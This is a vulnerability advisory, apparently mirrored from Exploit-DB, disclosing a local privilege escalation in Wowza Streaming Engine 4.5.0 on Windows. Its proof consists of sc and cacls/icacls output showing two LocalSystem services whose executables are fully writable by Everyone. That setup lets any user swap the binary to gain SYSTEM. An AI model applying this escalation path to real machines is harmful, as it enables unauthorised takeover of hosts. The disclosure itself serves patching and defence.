Wowza Streaming Engine 4.5.0 – Local Privilege Escalation

  • 作者: LiquidWorm
    日期: 2016-07-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40132/
  • Wowza Streaming Engine 4.5.0 Local Privilege Escalation
    
    
    Vendor: Wowza Media Systems, LLC.
    Product web page: https://www.wowza.com
    Affected version: Wowza Streaming Engine 4.5.0 (build 18676)
    Wowza Streaming Engine Manager 4.5.0 (build 18676)
    
    Summary: Wowza Streaming Engine is robust, customizable, and scalable
    server software that powers reliable video and audio streaming to any
    device. Learn the benefits of using Wowza Streaming Engine to deliver
    high-quality live and on-demand video content to any device.
    
    Desc: Wowza Streaming Engine suffers from an elevation of privileges
    vulnerability which can be used by a simple authenticated user that
    can change the executable file with a binary of choice. The vulnerability
    exist due to the improper permissions, with the 'F' flag (Full) for
    'Everyone' group. In combination with insecure file permissions the
    application suffers from an unquoted search path issue impacting the
    services 'WowzaStreamingEngine450' and 'WowzaStreamingEngineManager450'
    for Windows deployed as part of Wowza Streaming software.
    
    Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
     Java Version: 1.8.0_77
     Java VM Version: 25.77-b03
     Java Architecture: 64
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2016-5339
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5339.php
    
    
    03.07.2016
    
    --
    
    
    C:\Users\lqwrm>sc qc WowzaStreamingEngineManager450
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: WowzaStreamingEngineManager450
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : Wowza Streaming Engine Manager 4.5.0
    DEPENDENCIES :
    SERVICE_START_NAME : LocalSystem
    
    C:\Users\lqwrm>cacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe"
    C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe Everyone:(ID)F
     NT AUTHORITY\SYSTEM:(ID)F
     BUILTIN\Administrators:(ID)F
     BUILTIN\Users:(ID)R
    
    ==========
    
    C:\Users\lqwrm>sc qc WowzaStreamingEngine450
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: WowzaStreamingEngine450
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START(DELAYED)
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : Wowza Streaming Engine 4.5.0
    DEPENDENCIES :
    SERVICE_START_NAME : LocalSystem
    
    C:\Users\lqwrm>icacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe"
    C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe Everyone:(I)(F)
     NT AUTHORITY\SYSTEM:(I)(F)
     BUILTIN\Administrators:(I)(F)
     BUILTIN\Users:(I)(RX)
    
    Successfully processed 1 files; Failed processing 0 files